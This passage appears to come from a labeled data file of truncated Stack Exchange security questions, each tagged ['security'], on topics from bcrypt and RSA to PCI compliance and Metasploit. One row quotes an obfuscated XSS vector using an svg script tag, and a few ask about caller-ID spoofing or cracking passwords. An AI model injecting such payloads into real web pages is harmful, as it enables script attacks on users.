hashing a PRNG make it cryptographically secure? Body: Would hashing the result of a regular random number generator produce a cryptographically secure PRNG? For example, would sha1(rand()) effectively be a secure PRNG? Assuming it doesn't, how would ... ",['security'] "Title: Should I run my password through Bcrypt before using it for encrypting a file with AES-256? [duplicate] Body: I need to encrypt a file with a password that can be memorized. So I was thinking about running the password through some rounds of Bcrypt before using it for AES encryption, so every time I want to ... ",['security'] "Title: What makes a SQL Injection counted as blind injection? Body: Firstly, from what I have read so far, boolean based blind sql injection is you can't see any error messages and rely on true or false query to milk the database. eg. Craft a query that will ask the ... ",['security'] "Title: WordPress Hacked - Found a suspicious “class-wp-style-table.php” [closed] Body: I recently had all of my WordPress accounts on my server hacked. The only suspicious files I found are listed below. These were the only files edited in the last 5 days (June 3, to be specific). ... ",['security'] "Title: Would using Websockets cause PCI compliance failure? Body: Would utilizing WebSockets cause an issue with obtaining or maintaining PCI compliance? ",['security'] "Title: A client wants to tell me his home laptop's password. Must I push him towards a more-complex alternative? Body: I'm an IT consultant in Canada. One client has known me for a few years. He wants me to do some work on his kids' laptop again. I'll need to log into his kids' Windows user account. (I'm guessing that ... ",['security'] "Title: Is there a Skype plugin that uses TLS and ZRTP Body: I'm curious, if one can upgrade the security Skype offers to avoid a man in the middle snooping in on the calls by both parties using a client side plugin? Does one exist for this purpose? A bit of ... ",['security'] "Title: RSA vs PBKDF2 for password storage (theoretical) Body: I know this is not the right way to store passwords, but I'm asking this from a theoretical perspective: Suppose a web site's passwords were encrypted with RSA asymmetric encryption and the private ... ",['security'] "Title: Where is my password stored on Linux? [duplicate] Body: Is there a specific location where the passwords are stored ? Is it depending on which version is used ? Are they salted ? ",['security'] "Title: API message verification without storing private key? Body: I'm in the process of implementing a public API for my web service. Security is a key concern as money is involved. It seems the current common practice for ""authenticating"" users in API requests is ... ",['security'] "Title: Metasploit Auxiliary module doesn't work [closed] Body: I have a problem with a pentest I am running on a website and, after having discovered with nmap the open ports 80,8080, I decided to test the 8080 one, which has installed Apache Tomcat/Coyote JSP ... ",['security'] "Title: Can a captive portal be secured [closed] Body: I am interested in using a captive portal on a public network. After reading the wikipedia article and several questions here on sec.SE, I don't understand how I can secure it, or even, if I can ... ",['security'] "Title: What is the difference between Promiscuous and Monitor Mode in Wireless Networks? Body: In Wireless Networks, you can put your wireless card in Promiscuous or in Monitor Mode. What is the difference between these two modes ? ",['security'] "Title: Where is my password stored on Windows 7? Body: Is there a specific location where the passwords are stored ? Are they salted ? ",['security'] "Title: How can I spoof a phone call and make it appear to come from another phone? Body: I'm performing a penetration test against a company. Part of my social engineering procedure is to contact the IT department and try to convince them to that I'm an employee in the company and get ... ",['security'] "Title: Extract SquashFS filesystem with shsq magic number Body: for a few days I was trying to extract the filesystem of a router firmware. Checking the image that the vendor provides I can see a SquashFS flag on it: DECIMAL HEX DESCRIPTION ... ",['security'] "Title: User login monitoring tool [closed] Body: Our client has a Windows workgroup LAN with a UNIX/Oracle database server. We want a tool which can log login/logout details of network users to the database server. The problem is that we can't ... ",['security'] "Title: Is it safe to store password in HTML5 sessionStorage? Body: I am trying to improve the user experience on registration by not requiring the user to retype their password if validation on other fields fail. There are a few ways to implement this, example using ... ",['security'] "Title: What are Non-linear/backward overwrites? Body: I read some slides from the Black Hat USA 2012 conference, and I stumbled across the term non-­linear/backward overwrite, mentioned on slide 5 of the Exploit Mitigation Improvements in Windows 8 by ... ",['security'] "Title: What are the statistics on how often client form submissions fail CAPTCHAs? [closed] Body: We've got plenty of argument that CAPTCHA can easily be beaten, and that they introduce usability problems to users. People say that because they can be broken, they shouldn't be used. So if you've ... ",['security'] "Title: App uses html_safe method, possible issues Body: For one who doesn't know, .html_safe is rails method, which outputs strings as part of html document. The problem is that string is user inputed. What did I do to prevent some bad actions - regexp ... ",['security'] "Title: Similar passwords can't be used again. A sign of unhashed password storage? [duplicate] Body: In my school everyone must change their password every six months. The new passwords cannot be the exact same as the old one, this make sense, however many of my peers often complain that they need ... ",['security'] "Title: Force a subordinate CA cert to be signed to include a the CRL distribution point extension? Body: How can I attach a crlDistributionPoints parameter when signing a CSR I've generated as follows: openssl req -new -key /root/ca/private/private.key -out /root/public.csr I usually sign with: ... ",['security'] "Title: How to make a website patch their poor security? Body: I am following an online class from a local institution. Recently, I've noticed they don't crypt passwords because they sent me my password by e-mail in clear text. The website has a lot of personal ... ",['security'] "Title: How is a website determining my location even via VPN? [duplicate] Body: I'm currently in China, and accessing the Internet via a VPN in the USA. When I access Google maps or other location-based web services, they all show my location as that of the VPN server. However, ... ",['security'] "Title: What is the difference between APSA and APSB? Body: What would be the difference between Adobe APSA and APSB security bulletins / advisories? ",['security'] "Title: How to stop/detect someone else registering a certificate for my domain Body: With the proliferation of low-cost automated CAs what can be done to mitigate the attack of someone doing a spear phishing attack to get a login to our webmail system, then using an automated service ... ",['security'] "Title: Why should I hash passwords? Body: I've read that every good web application should hash passwords. I found many articles about hashing. So I started implementing hashing on my website and then I asked myself why should I do it? When a ... ",['security'] "Title: Is there a way to get OS X to start a VPN connection before allowing network traffic? [closed] Body: I'm running OS X 10.8 and have Tunnelblick set up so I can connect to my OpenVPN server at home. I've also used this at $WORK in the past. When I'm out and about and want to jump on a public network, ... ",['security'] "Title: How often is cryptography cracked in a pentest? [closed] Body: I'm a newcomer to cryptography and was wondering how often systems are attacked by cracking cryptographic systems in the real world. Is it practical to study cryptography as a hacker? ",['security'] "Title: Problem with Encryption Protocol Body: I have a question about a encryption protocol, if it is good or not. Bob and Alice communicate over an insecure channel( a possible attacker can listen). An expert suggests the following protocol to ... ",['security'] "Title: Is it possible for users to insert forbidden characters into sites with htmlentities or mysqlescapestring? Body: So, in my brief research in PHP security, I have been guided toward two important functions to remove forbidden characters from forms. One being ""htmlentities"" and the other being ... ",['security'] "Title: Designing single-sign-on with JSONP/CORS? Body: I like the way that OAuth/OpenID can authenticate/identify a user from another domain, but only if the other domain allows it (presumably on the user's instructions). I would like to do something ... ",['security'] "Title: Should magnetic locks automatically release in the event of a fire alarm? Body: Basically what the title says, you'll find many buildings have these types of door locks which can usually be opened by using a RFID token. While this example photo is glass, lets assume that the ... ",['security'] "Title: Why does this XSS vector work in svg but not in HTML? Body: Why does this vector : <svg><script>alert&#40/1/.source&#41</script> works in http://jsfiddle.net/ZgPY4/2/ and this one ... ",['security'] "Title: Do I really need an Anti-Virus software if I'm careful about where I browse? Body: A friend told to me the following: I don't use Anti-Virus software at all, I am just careful about where I go and what I click on. I've also heard this from other people as I've repaired their ... ",['security'] "Title: CSRF Token in GET request Body: According to the OWASP testing guide a CSRF token should not be contained within a GET request as the token itself might be logged in various places such as logs or because of the risk of shoulder ... ",['security'] "Title: Do I need logging enabled in my rules in IPFW for sshguard-ipfw to work/blacklist ip's? Body: From the FreeBSD handbook: Even with the logging facility enabled, IPFW will not generate any rule logging on its own. The firewall administrator decides which rules in the ruleset will be ... ",['security'] "Title: Criteria for Selecting an HSM Body: A very sensitive application has to protect several different forms of data, such as passwords, credit cards, and secret documents - and encryption keys, of course. As an alternative to developing a ... ",['security'] "Title: Do keyfiles actually add any meaningful security in the presence of strong passwords? Body: In the context of protecting access to local encrypted files or devices against a determined (and competent) adversary, is there any reason to believe that the use of a key file actually presents a ... ",['security'] "Title: Where can I find a list of Indicators of Compromise (IOC) conditions? Body: OpenIOC.org has several schemas defining Indicators of Compromise. The Schema is defined here: http://schemas.mandiant.com/2010/ioc/ioc.xsd While under IndicatorItemContext/search says it is ... ",['security'] "Title: What attacks, if any, are possible against Security Support Provider Interface (SSPI)? Body: I've been looking at SSPI recently, as it is used for authentication in a variety of Microsoft products. From the looks of it, it's based on GSSAPI and provides an abstraction for wrapping various ... ",['security'] "Title: How I can prove that SSH attacks are not from my application? Body: My ruby on rails web application is hosted on Linode. Linode opened a ticket and blamed my Linode server for attacking other servers. The logs revealed that it's a SSH brute force attack which ... ",['security'] "Title: Can linux (be made to) detect foreign connections to the ram bus? Body: I've been made aware on many answers and some comments that an attacker can read memory while a system is still running by attaching some sort of connection directly to the ram bus. Can linux ... ",['security'] "Title: Best practices for integrating external javascript? Body: I'm looking for some standard pieces of advice on how to integrate external JavaScript into a website. For example, on mywebsite.com: <script ... ",['security'] "Title: How secure is the Windows event log, and how is it secured? Body: I'm curious as to just how secure the Windows event log is, and exactly what security measures it uses. Does it include any defenses against tampering - for example, does it use digital signatures or ... ",['security'] "Title: How do I block LinkedIn from extracting data from Microsoft Exchange Server? Body: LinkedIn now offers the ability to take a real user and password from the end user and connect to Exchange Server for the purpose of importing contacts into their system. (To do this yourself, click ... ",['security'] "Title: Why do we allow SSL certificates to be replaced before their expiry date, without revokation of others? Body: Imagine a situation where a rogue CA creates a certificate for your site. Since the user's browser trusts the CA, it will accept the certificate without any fuss. However, the site's real certificate ... ",['security'] "Title: Enforcing software expiration on virtual machines Body: It is possible for virtual machine guests to bypass the software expiration timers for paid software. This example shows one way to do this on VMWare. A simpler method is for the user to ""revert to ... ",['security'] "Title: How can using a VPN increase network speed? [closed] Body: There are lots of guides online which suggest that using a VPN or proxy will gain better speed or 'free internet' however this seems unlikely. If my ISP is performing packet shaping on my connection. ... ",['security'] "Title: Is TextKey SMS 2 factor authentication secure against cell phone cloning? Body: I came across this website today that implements SMS based authentication that works ""opposite"" most SMS authentication methods. In typical SMS authentication, the provider sends you an access code ... ",['security'] "Title: How can I view the NTFS $MFT using correct field names? Body: I am trying to view an NTFS master file table. Each tool I have used so far extracts all of the entries, but puts non standard headers such as STANDARD_INFORMATION_ON instead of say ... ",['security'] "Title: Enforcing personal firewall for OS X Body: We're currently doing PCI compliance, and one of the requirements is that mobile devices that have access to systems involved in processing card data have personal firewall software installed which ... ",['security'] "Title: Reseting my computer to uninstall LogKext Body: My friend downloaded LogKext on my computer, so I'm guessing he can see every keystroke, but I've reset my computer so that it's in a condition when I first opened from the box. Can my friend still ... ",['security'] "Title: Reason for writing Self-Decrypting Virus Body: What is the rationale behind writing a self-decrypting virus? By this I mean a virus that has it's payload encrypted, decrypts at runtime and runs it. How does this protect the virus from antivirus ... ",['security'] "Title: What are the tradeoffs in cost, effort, and value in moving a database server to a virtualized DMZ environment? Body: I am quite new to the DMZ concept and working on a project as part of my master thesis where Remote access is required for the Development environment. However, there is a functional requirement for ... ",['security'] "Title: Does it make sense to hash a session id before passing it to an advertisement partner? Body: My company runs a webshop. We work with a partner that gives discount vouchers to our customers after they buy (the vouchers can be used in other online shops) and also gives vouchers for our shop to ... ",['security'] "Title: Why standards organizations give so short protection times for 128 bit encryption? Body: According to this and this, seems even 128 bit encryption should remain secure for a much longer time than what security organizations say. I saw the standards with this: ... ",['security'] "Title: Does providing OAuth for mobile apps pose a security threat? Body: Let's take a look at the basic OAuth workflow: The basic idea is that the Consumer (App) asks the user to grant him access to the Service Provider. The service protects the user by asking him each ... ",['security'] "Title: Is “non-repudiation” automatically proven, given the other three tenets of info security? Body: Just to say it, the four tenets are: Confidentiality - The message the recipient gets can be proven not to have been read by anyone else since it was encoded. Integrity - The message the recipient ... ",['security'] "Title: Becoming a malware analyst? Body: So, I'm currently 16 and am considering a career in IT when I finish school. The thing that has intrigued me the most while growing up is malware. I've come across it so often and have often had to ... ",['security'] "Title: Is a full backup the quickest or the longest on restoring [closed] Body: Studying for Security+ with Darril Gibson's book he says that ""A full backup is the easiest and quickest to restore"" Now I've been looking for another test exams and I found the MasterExam of the ... ",['security'] "Title: Store username in cookie for a web site Body: I want to store the username for a web site in the coockie, is it secure? What an hacker can do with this info? ",['security'] "Title: POC of a Java exploit using leftover JREs Body: Summary: I would like to show a proof of concept of a Java exploit using an old JRE on an up-to-date machine to cut short discussions on the ""but we are patched so why removing older versions"" ... ",['security'] "Title: Ways to look for changes on a PC [closed] Body: The other day I got the password for our school's Wifi but even though that's the case, I still can't connect. So I visited the guys at my school's IT department and they said they need to borrow my ... ",['security'] "Title: Can attacker break out of apparmor jail with the following profile? Body: Below is an example profile I've created for web apps, in which I've limited files / commands it can access. It includes profiles to nginx, php-fpm and mysql, no commands is allowed, only few ... ",['security'] "Title: Is there a dictionary of visibly similar Unicode characters for Spam processing? Body: I have spam that looks like this: мy вυddy'ѕ мoм мαĸeѕ $74/нoυr oɴ тнe lαpтop. ѕнe нαѕ вeeɴ lαιd oғғ ғor ѕeveɴ мoɴтнѕ вυт lαѕт мoɴтн нer pαy cнecĸ wαѕ $19420 jυѕт worĸιɴɢ oɴ тнe lαpтop ғor α ... ",['security'] "Title: Considerations for information exchange agreement between governmental agencies Body: Question: When drafting an information exchange agreement between governmental agencies what security related sections should be considered for inclusion? Example agreements? What is the security ... ",['security'] "Title: Routable Domain for DC? Body: What is the impact of having a routable domain name in windows network infrastucture ? Having example.com in place of exemple.local as domain name have an critical impact ? if yes what should I keep ... ",['security'] "Title: What is the entropy of just 1 Diceware passphrase like my passphrase? Body: A 5-word Diceware passphrase gives an entropy of 7776^5 = 3E19 = 19 Bans (or ~64 bits). Apparently monster cracking systems can currently guess passphrases for MD5 at a rate of 180 billion/sec (2E11). ... ",['security'] "Title: Looking for safe, simple way to store passwords with PHP 5.2.17 [duplicate] Body: I've found many posts on StackOverflow and other sites using Google, but since security is always changing, and what was safe a few months ago not me anymore... I felt the need to ask on here. ... ",['security'] "Title: Using EnCase to recover InPrivate browsing history Body: I heard that it is possible to use EnCase to recover IE InPrivate browsing history. Is this really possible? If so, suppose that a computer has been shut down right after usage of InPrivate browsing ... ",['security'] "Title: “Friend” stole SD card. Tracing an SD card? Body: First off, let me say that I currently live in Mexico, a land filled with petty theft. I had a group of friends over last night, and they were looking at the photos on my camera. Today, I looked at my ... ",['security'] "Title: 'Trusted CA Certificates' and 'Trusted remote Certificates' Body: What is the difference between Trusted CA Certificates and Trusted remote Certificates? ",['security'] "Title: How secure is using CRAM-MD5 for email authentication, when not using an SSL connection? Body: Background: My current server-provider tells me it's no problem to store the passwords in plain-text in the database, saying he has to do so because they use CRAM-MD5 for email authentication. My ... ",['security'] "Title: What is the difference between Key Escrow and a Recovery Agent? Body: From what I understand Key Escrow is where a copy of they key is stored in a safe place so they can be recovered later. But in the context of PKI, a Recovery Agent can also recover private keys. How ... ",['security'] "Title: SAM Card deployment best practice Body: As part of my current project we will be deploying smart card readers containing SAM cards for decryption purposes. The deployment process involves a third party software integrator who will control ... ",['security'] "Title: Application to monitor software activities Body: I am doing black box testing on a software which is installed in my local machine. I want to analyze and see the list of files and registry entries that software create/modify/delete. Basically ... ",['security'] "Title: Install Metasploit under Cygwin? [closed] Body: Is there a way to install Metasploit under Cygwin? Metasploit is meant to be run under a linux environment. The Windows installation doesn't have many tools such as msfpayload available. Please ... ",['security'] "Title: Security concept [closed] Body: How do we know that the systems that we are using are secure? At what point do we have to audit the software that we use? How do unknown security threats affect software over time? ",['security'] "Title: What is inside a Kerberos TGT ticket? Body: I would like to know what makes up a TGT ticket? The reason is that we've noticed the more Windows AD groups the account is in, the larger the size of the ticket. We've also noticed that when we clear ... ",['security'] "Title: Vim Modeline Vulnerabilities Body: I use vim and have a use case for modelines. A modeline means that vim will parse a textfile for lines like: # vim: set someoption=somevalue and will then set those options. This is awesome if ... ",['security'] "Title: Hack a LAN with low security [closed] Body: In our university users have to use VPN to connect to internet.But for local works(like login to university website,checking their university accounts) VPN is not needed.And as I know we have ... ",['security'] "Title: Designing a Sandbox for Windows Body: I am thinking about the design for a sandbox, which is able to execute arbitrary unmodified, untrusted binaries. The goal is to implement an application Unlike something like e.g. Google Chrome's ... ",['security'] "Title: What does the question mark in nmap output indicate? Body: In the following nmap output: $ sudo nmap -sS -sV -vv -n -Pn -T5 x.x.x.1-255 -p80,23,21 -oG - | grep 'open' Host: x.x.x.x () Ports: 21/closed/tcp//ftp///, 23/open/tcp//telnet?///, ... ",['security'] "Title: Certificate authentication with jQuery's ajax() function Body: I need to sync with my server with the client certificate abc.pfx which is generated by the server using Ajax. How do I send my certificate with Ajax object. Can I do this certificate authentication ... ",['security'] "Title: Wireshark Decode HTTPS Root Certificate Body: I'm currently dealing with a ""Sniffy"" java application. Well I can see it connecting to some kind of server using HTTPS. I would like to see what its sending or getting over HTTPS. i have read some ... ",['security'] "Title: Securing my firewall (both dedicated and iptables-based) [closed] Body: I have an ASA-5510, but I also intend to maintain strict IP tables on my server (Ubuntu 12.04.2), so that there are two layers of ""protection"". My iptables look like this: *filter # Allows all ... ",['security'] "Title: Virus with PGP Encryption Preventing Virus Scan Body: A user reported having a virus that was causing pop up windows asking for money. When he turned on his laptop and logged into PGP encryption (whole disk) the desktop quickly showed but then a white ... ",['security'] "Title: Obfuscating JavaScript code Body: Some Flash developers are afraid of JavaScript. Their point of view: Stealing JS source code is effortless, one would just 'view source' and copy it. Yes, you can decompile Flash bytecode, however it ... ",['security'] "Title: Homomorphic encryption used for e-voting? Body: I was reading wikipedia about homomorphic encryptions, and one part got me a bit confused: ""The homomorphic property of various cryptosystems can be used to create secure voting systems, ..."" ... ",['security'] "Title: Technical security issues with proactively executing a phishing campaign targeting your own users Body: We've had some issues with compromised accounts due to users falling victim to phishing campaigns. The possibility of us doing a phishing campaign against our own users to proactively shame them has ... ",['security'] "Title: Security of web services (REST & SOAP) [closed] Body: I'm doing a state of the art on web services security. I need every bit of a solution out there that solves concerns about identification, access control, transmission related ones like data ... ",['security'] "Title: Is this Data Encryption/Storage Method Secure? Body: Let me first say that I know it is a bad idea to store sensitive information in a mysql database, so please don't respond by saying ""DON'T DO IT"" or something to that effect. I am building a website ... ",['security'] "Title: Does Disabling Right Click In Windows Explorer Do Anything? Body: I am at a student at a school which blocks the right click in Windows Explorer and the desktop, as well as on the taskbar. I don't exactly understand why they do this, since most of the commands on ... ",['security'] "Title: Somehow unexpectedly my computer got infected with malware Body: So I consider myself a pretty conscious computer user. I run Windows 7 SP1 Pro 64bit and I update it. For surfing on the web I use Firefox 20.0.1 - I keep it updated. I also have NoScript and AdBlock ... ",['security'] "Title: Intel How Strong is Your Password page, good advice? Body: I came across this Intel How Strong is Your Password? page which estimates how strong your password is. It has some advice on choosing better passwords including that you should use multiple ... ",['security'] "Title: Best Security Software [closed] Body: I have used Norton and McAfee in the past and found them to slow my computers and ware down the parts very fast. I am looking for a solid virus program which will keep hackers out and not slow down my ... ",['security'] "Title: Linux Runtime Memory protection [closed] Body: I'm searching for a solution to protect process memory at runtime level in Linux (just like GameGuard in Windows). I googled many times but didn't get any useful information. Does anyone know any ... ",['security'] "Title: Responsible Disclosures and Getting Sued Body: Lots of websites like Google, Facebook etc acknowledge the white hat hackers on their sites for reporting security vulnerability. But for the vulnerability reporter is it safe from legal perspective ? ... ",['security'] "Title: Failed PCI-DSS Compliance | Submitting Evidence Body: One of our web servers that is managed by a service provider (completely in their control, we have no login access) just failed PCI-DSS vuln. scan by TrustKeeper. The vuln scan detected the box as a ... ",['security'] "Title: What precaustions should be taken when the file displayed by a webpage is specified by the GET value Body: My website shows some files based on the get value in the URL. For example http://www.mysit.com/navigate.php?d=firstpage.html The thing is navigate.php knows which folder to look in and it's not in ... ",['security'] "Title: How to handle two sets of OpenID credentials providing the same information, on the same or different OpenID providers? Body: I recently encountered a situation where one site assumed that if two different people's credentials for the same OpenID network produce the same email address then they were they same person. Also, ... ",['security'] "Title: Whats a secure firewall rules using UFW? Body: On my Ubuntu server I have these services running: netstat -tlnp Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program ... ",['security'] "Title: CAPTCHA Weakness to Automated Attack Body: EDIT: This question was dumb, I misread the quote that made me ask it. Sorry. This is more of a follow up question from schroeder's answer to another question. schroeder said that CAPTCHAs are ... ",['security'] "Title: Using JTR to crack Skype Passwords Body: The scenario: coworker's Skype somehow lost his auto-fill password. He doesn't remember it anymore, and the account is hooked up to an email address that no longer exists. He's never purchased any ... ",['security'] "Title: Is salting a hash really as secure as common knowledge implies? Body: (I did search on this topic, but I found no complete question/answer that addressed it, or even good portions of questions that might be relevant.) I'm implementing a salt function for user passwords ... ",['security'] "Title: Can clients execute my python CGI at will? Body: I have a site where the main database is interacted with via python scripts located in public_html\cgi-bin\. To run commands, various JavaScript scripts, located in \public_html\scripts\, use jQuery ... ",['security'] "Title: How can I implement authentication in my proxy server? Body: I have a proxy server, it will have a captive portal page. Users will be required to sign in before gaining access to the internet. So far I am aware of IP and/or MAC address based authentication. ... ",['security'] "Title: Do honeywords add any real security? Body: This paper proposes the concept of honeywords for detecting if a password database has been compromised. As far as I understand it works like this: You save n password hashes for each user, one that ... ",['security'] "Title: Is there any particular reason to use Diffie-Hellman over RSA for key exchange? Body: I often see RSA being recommended as a method of key exchange. However, the Diffie-Hellman key exchange method appears to be secure as well. Is there any considerations one should take into account ... ",['security'] "Title: How to encrypt data on the server? Body: I have some data on the server (running Linux) which needs to be encrypted (company policy). This data is being served by an application running on this machine. Now I consider a few possibilities: ... ",['security'] "Title: Simple and secure remote installation method that accepts input via a web page? Body: When installing software on a remote server: Is it possible to let the admin (i.e. the user that installs the software) define admin username and password via a HTML page, in a secure manner? ... ",['security'] "Title: Security Testing AngularJS Web Application Body: An angularjs application stores user input to local/sessionStorage and retrieves it later to fill the form fields or display that content later. If a javascript is submitted as user input, it gets ... ",['security'] "Title: VCS to manipulate returned trees to prevent leaks? [closed] Body: I am wondering if there is any system that would change source code trees in subtle from version control systems in ways that are hard to discover (i.e. whitespaces at the ends of lines, perhaps even ... ",['security'] "Title: may DNS companies track visitors by traffic analysis? [closed] Body: Internet is based on name servers, we always type stackexchange.com in address bar to access this website no stackexchange's IP address. as ICANN is managing every DNS records for every website where ... ",['security'] "Title: Help in understanding an application's crash - exploitable? Body: Being new to researching vulnerabilities in native applications (as opposed to web apps), I'm having difficulties understanding a crash in Debian's browser, Epiphany (version 2.30.6), and determining ... ",['security'] "Title: how to monitor a Wifi (802.11) network? Body: How to capture a sequential stream of data between two machines, making no assumptions about network layer protocols? On wired network, one can do it by ARP spoofing and then sniff the network. One ... ",['security'] "Title: Open DNS Dynamic and Static IP Body: I want to block adult sites not torrents and other. Currently i am using ""OpenDNS Home free"". i set those free DNS 208.67.222.222 and 208.67.220.220 in router DNS fields and also i have ""OpenDNS ... ",['security'] "Title: How can I stop this DOS attack? Body: I have this entry appearing constantly in my router logs: [DOS Attack] : 5 [RST Scan] packets detected in last 20 seconds, source ip [xx.xx.xx.xx] They just never stop. It doesn't seem to affect ... ",['security'] "Title: How to protect source code that resides on virtualbox web server which starts at boot? Body: I installed CentOS 6 on a 3gb virtualbox disk. It hosts a web server which starts automatically when the OS boots. No user login required. When it boots, it is given an IP and the host machine can ... ",['security'] "Title: How to camouflage the IP packages in a Home share wireless router? [duplicate] Body: I want to be able to hide my IP packages at best connecting to my router that I am sharing with other people in my house. Is it possible? Can I encapsulate them and let them unreadable? ",['security'] "Title: Send credentials by sms [duplicate] Body: If a user forgets his login credentials for a web site, is it secure enough to send users credentials by sms? ",['security'] "Title: Confidentiality without Encryption - A way to circumvent Internet censorship Body: Nowadays we see that countries like China and Iran detect and block all encrypted connections as a way to prevent their citizens from communicating over the Internet freely. Although encryption ... ",['security'] "Title: attacks on airlines [closed] Body: a hacker who has been harassing me and others always seems to know when we book flights (all international). one of these people the hacker has stalked worked in a high level IT security job. for this ... ",['security'] "Title: Blocking network access to host(s) at the kernel level in Linux? Body: Getting it out of the way: Not iptables! What I'd like to do is block network access to certain IPs, subnets, and/or hostnames at the Linux kernel level, such that no user, including root, could ... ",['security'] "Title: Is IP Forwarding a risk by itself? Body: A coworker claims that merely enabling IP_forwarding on a single homed Linux machine poses a security risk as he says it could then be used as a proxy. I can't think of how this would work, except ... ",['security'] "Title: How do you evaluate and audit Central Authentication Service (CAS)? Body: This is in reference to Jasig's CAS software and I'm looking for a checklist to audit the state of security of a CAS implementation. While the Jasig site has a lot of documentation and their mailing ... ",['security'] "Title: Database encryption or filesystem encryption? Body: Recently I've been working on some data which, although not directly governed by any infosec laws, is sensitive enough to warrant being encrypted. I'm interested in finding out about best practises ... ",['security'] "Title: US Department of Labor Watering Hole Attack Body: So I read this article about how the US Department of Labor's website was compromised and users were redirect to a site that installed malware: ... ",['security'] "Title: Is the execution time for bcrypt independent of the length of the input string? Body: Is the execution time for bcrypt independent of the length of the input string? i.e. Should the execution time of bcrypt.hashpw('input_string', bcrypt.gensalt(12)) and ... ",['security'] "Title: Why is RSA using fixed point type numbers? Body: Why does RSA use fixed-point numbers instead of floating-point? Are there too many floating-point implementations to choose from? Does fixed-point arithmetic increase the difficulty of factorization? ... ",['security'] "Title: Relationship between penetration testing and false positive results Body: I had read through several research papers that discussed the trend of existing automation scanners to produce false positive results. I also read through some articles that showing the manual ... ",['security'] "Title: How to remote monitor a computer network traffic? Body: I would like to know if it is possible to remote monitor the incoming and outcoming network traffic of a specific IP from my network. I need to log the time, ip numbers and port that contact the ... ",['security'] "Title: What access does UK Police currently have to ISP logs, and what information can said logs provide? Body: I'm currently researching a novel that has a crime element that centres around Internet-exclusive relationships and I would appreciate any help you might be able to offer regarding how much access the ... ",['security'] "Title: Security / logging on a Xen-based VPS instance? Body: Our company has a Xen-based instance on a VPS provider and we have some sensitive data stored on it. Is there a way for me to tell if/when employees of the hosting company have accessed my VPS (by ... ",['security'] "Title: Online Payment Gateway Requirements Body: I have been looking at an online payment gateway, authorize.net, and specifically their Direct Post Method. This method would allow me to create a form on my server, then submit the post parameters ... ",['security'] "Title: How to interpret specific NIST 800-57 cryptoperiod advice? Body: We are uncertain how to interpret a specific piece of NIST 800-57 - to wit, how long a symmetric key cryptoperiod should be when originator usage and recipient usage begin concurrently. The short ... ",['security'] "Title: Is publishing your public IP address a security threat? Body: I work for a large-ish company (thousands of employees across multiple locations). I recently needed to know what the possible public IP addresses are, so that a vendor could identify us (presumably ... ",['security'] "Title: How does Google Authenticator work? Body: Google Authenticator is an alternative to SMS for 2Step verification, installing an app on Android where the codes will be sent. It works without any connectivity; it even works on plane mode. This ... ",['security'] "Title: Can Penetration Testing be considered as a part of a Vulnerability Management Program? Body: Can Penetration Testing be considered as a part of an exhaustive Vulnerability Management program? P.S: I realise the difference between penetration testing and vulnerability assessment. But I want to ... ",['security'] "Title: How proxy servers sniff data Body: I live in a country which most website on the internet is blocked by government so we mostly use wide variety of proxies such ""Web proxies"" , ""VPN"" , ""SOCKS"" and most of them are free. My question is ... ",['security'] "Title: A standard way to manually add a digital signature to a pdf file? Body: I've created a few certificates to use myself, but I find myself stumped when it comes to creating a certificate which contains a digital signature. First, how would I go about creating a standard ... ",['security'] "Title: Web application security standards/certificates Body: I'm currently working on Web application/service that (hopefully) will be used in a wide variety of ways. Of course I'm looking to attracting some commercial users as well, and as we all know, they ... ",['security'] "Title: How does an end user differentiate between OV and DV certificates? Body: This is a very good link that explains the different types of SSL certificates and level of trust provided by them. An Extended Validation (EV) certificate it is easily identified by the green color ... ",['security'] "Title: How good is validating source with request.referer than checksum? Body: I have 2 portals(both are under my control & domain names are different) In 1st portal, there is a link on click of which User can directly get logged into 2nd portal. Link which will be hit in ... ",['security'] "Title: User Groups (Circles) Inside a Web of Trust Body: Assume I have a universe of U users. Every user has his private key. I want to build user groups by adding a company sub key to his key set. Now users can sign his company sub key with there company ... ",['security'] "Title: Does hash solve passwords in parts? Body: From an answer this earlier question: Does adding dictionary words to passwords weaken them? ""...you have no way to recognize it as a password before testing it (against a hash or an online ... ",['security'] "Title: Is an encrypted connection to MS-SQL Server really safe? Body: Quick intro: Small company, VERY limited resources. I pretty much do everything including coffe. I am a programmer, not a security guy. That's why i ask you... We have an MS-SQL 2008 Database ... ",['security'] "Title: TrueCrypt and Keyfiles hidden among 500,000 other .pdf files Body: A question from a newby: I have a USB or Standalone HardDrive with a TRUECRYPT hidden partition on it that needs one or more ""keyfiles"" and a password to access. What tells the attacker what kind ... ",['security'] "Title: Safe to reply to a suspicious email? Body: Can something happen to me (or my computer) if I respond to a suspicious plain text email? I received an email from an unknown address, and I am not sure if this is a ""real"" person. I would have ... ",['security'] "Title: RSA Possible Vulnerability? Body: Given c1 = cipher text of m encrypted with n1 and e Given c2 = cipher text of the same m encrypted with n2 and the same e, Is it possible to figure out either of the n's or m? I can't seem to solve ... ",['security'] "Title: Lessen impact of DoS attack on cpu-expensive login? Body: This is a follow-up to my previous question: Prevent DOS against RSA authentication. This question is also discusses a similar problem: Prevent denial of service attacks against slow hashing ... ",['security'] "Title: CTRL+ALT+DEL Login - Rationale behind it? Body: Maybe a rather noobish question: Why is CTRL+ALT+DEL required at login on Windows systems (I have not seen it elsewhere, but contradict me if I'm wrong) before the password can be typed in? From a ... ",['security'] "Title: Is ECDSA breakable by quantum computers? Body: Is ECDSA secure from quantum computers? Will quantum computers be able to calculate it's private keys from the knowledge of the public key once there are working quantum computers? ",['security'] "Title: Clarification on Digital Certificates Body: I used the makecert tool to create: self-signed certificate client certificate These are the commands I used: makecert -n ""CN=MatthewCA"" -r -sv MatthewCA.pvk MatthewCA.cer **for self signed ... ",['security'] "Title: Sending Digital Certificates Body: I used the makecert tool in order to create: a self-signed certificate a server certificate using the self-signed certificate a client certificate using the self-signed certificate I then ... ",['security'] "Title: Hash extension(padding) attack Body: I recently came across this website talking about sha1 padding attack. http://www.vnsecurity.net/2010/03/codegate_challenge15_sha1_padding_attack/ After reading here are some of my doubts: How ... ",['security'] "Title: Will “upgrading” www-data user open up known security issues? Body: On a isolated local test/dev server I have elevated the nature of the www-data user to enable a smooth workflow for using Dropbox in a web/webapp development pipeline. It has worked quite smoothly in ... ",['security'] "Title: A practical .NET Remoting Architecture exploit Body: If you were to demonstrate a .NET Remoting Architecture vulnerability with a practical attack, which one would you choose? I've read J. Forshaw's white paper on Breaking .NET Through Serialization ... ",['security'] "Title: Configure SSL Mutual (Two-way) Authentication Body: A lot of tutorials, a lot of pages, a lot of question and 